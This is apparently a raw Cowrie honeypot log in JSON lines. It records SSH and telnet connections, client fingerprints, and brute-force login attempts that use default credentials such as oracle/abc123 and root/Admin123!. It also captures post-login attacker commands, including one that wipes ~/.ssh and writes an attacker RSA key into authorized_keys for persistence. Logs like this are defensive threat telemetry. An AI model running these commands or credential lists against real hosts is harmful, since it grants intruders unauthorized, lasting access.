0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:30.767671Z","src_ip":"45.156.87.254","session":"b37fe8cfdb05","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"abc123","message":"login attempt [oracle/abc123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:31.021490Z","src_ip":"45.156.87.254","session":"b37fe8cfdb05","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:31.235776Z","src_ip":"45.156.87.254","session":"b37fe8cfdb05","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:31.239456Z","src_ip":"45.156.87.254","session":"b37fe8cfdb05","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:31.326487Z","src_ip":"45.156.87.254","session":"b37fe8cfdb05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:31.331488Z","src_ip":"45.156.87.254","session":"b37fe8cfdb05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.90713596343994,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:33.384200Z","src_ip":"20.123.41.163","session":"b7ba57e9dbd0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":54472,"dst_ip":"159.203.135.109","dst_port":22,"session":"675255c1f709","protocol":"ssh","message":"New connection: 45.156.87.254:54472 (159.203.135.109:22) [session: 675255c1f709]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:35.833287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:35.838869Z","src_ip":"45.156.87.254","session":"675255c1f709","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:35.921668Z","src_ip":"45.156.87.254","session":"675255c1f709","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1234","message":"login attempt [user1/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:36.325602Z","src_ip":"45.156.87.254","session":"675255c1f709","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":40832,"dst_ip":"10.17.0.5","dst_port":23,"session":"894cd909c2fb","protocol":"telnet","message":"New connection: 20.123.41.163:40832 (10.17.0.5:23) [session: 894cd909c2fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:37.006463Z"}
{"eventid":"cowrie.session.closed","duration":53.778167724609375,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:37.366907Z","src_ip":"20.123.41.163","session":"7a0ec52e9063","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:37.448928Z","src_ip":"45.156.87.254","session":"675255c1f709","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.147318601608276,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:37.757817Z","src_ip":"104.245.105.2","session":"6c80b994628d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.16.214.226","src_port":57424,"dst_ip":"10.17.0.5","dst_port":22,"session":"af2eec4151d3","protocol":"ssh","message":"New connection: 185.16.214.226:57424 (10.17.0.5:22) [session: af2eec4151d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:38.360317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:38.365094Z","src_ip":"185.16.214.226","session":"af2eec4151d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:38.491221Z","src_ip":"185.16.214.226","session":"af2eec4151d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer@123","message":"login attempt [deployer/deployer@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:39.027901Z","src_ip":"185.16.214.226","session":"af2eec4151d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:40.157583Z","src_ip":"185.16.214.226","session":"af2eec4151d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":47386,"dst_ip":"159.203.135.109","dst_port":22,"session":"78a8b51639cc","protocol":"ssh","message":"New connection: 45.156.87.254:47386 (159.203.135.109:22) [session: 78a8b51639cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:41.225354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:41.234276Z","src_ip":"45.156.87.254","session":"78a8b51639cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:41.326840Z","src_ip":"45.156.87.254","session":"78a8b51639cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123!","message":"login attempt [root/Admin123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:41.587851Z","src_ip":"45.156.87.254","session":"78a8b51639cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:42.673263Z","src_ip":"45.156.87.254","session":"78a8b51639cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.265021562576294,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:43.271341Z","src_ip":"20.123.41.163","session":"894cd909c2fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":47396,"dst_ip":"159.203.135.109","dst_port":22,"session":"7da430b43956","protocol":"ssh","message":"New connection: 45.156.87.254:47396 (159.203.135.109:22) [session: 7da430b43956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:46.911737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:46.916296Z","src_ip":"45.156.87.254","session":"7da430b43956","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:47.001073Z","src_ip":"45.156.87.254","session":"7da430b43956","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123","message":"login attempt [hadoop/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:47.273347Z","src_ip":"45.156.87.254","session":"7da430b43956","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:48.361142Z","src_ip":"45.156.87.254","session":"7da430b43956","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.30.115.187","src_port":38968,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a448d00cbd2","protocol":"ssh","message":"New connection: 186.30.115.187:38968 (10.17.0.5:22) [session: 3a448d00cbd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:50.403875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:50.411454Z","src_ip":"186.30.115.187","session":"3a448d00cbd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:50.512108Z","src_ip":"186.30.115.187","session":"3a448d00cbd2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"a","message":"login attempt [oracle/a] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:50.937304Z","src_ip":"186.30.115.187","session":"3a448d00cbd2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:51.225915Z","src_ip":"186.30.115.187","session":"3a448d00cbd2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:51.229234Z","src_ip":"186.30.115.187","session":"3a448d00cbd2","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:51.232837Z","src_ip":"186.30.115.187","session":"3a448d00cbd2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:51.332690Z","src_ip":"186.30.115.187","session":"3a448d00cbd2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:51.582616Z","src_ip":"186.30.115.187","session":"3a448d00cbd2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:51.586208Z","src_ip":"186.30.115.187","session":"3a448d00cbd2","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:51.689927Z","src_ip":"186.30.115.187","session":"3a448d00cbd2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:51.693867Z","src_ip":"186.30.115.187","session":"3a448d00cbd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.30.115.187","src_port":39504,"dst_ip":"10.17.0.5","dst_port":22,"session":"a24d08f42d25","protocol":"ssh","message":"New connection: 186.30.115.187:39504 (10.17.0.5:22) [session: a24d08f42d25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:51.777186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:51.782087Z","src_ip":"186.30.115.187","session":"a24d08f42d25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:51.876959Z","src_ip":"186.30.115.187","session":"a24d08f42d25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:52.283815Z","src_ip":"186.30.115.187","session":"a24d08f42d25","protocol":"ssh"}
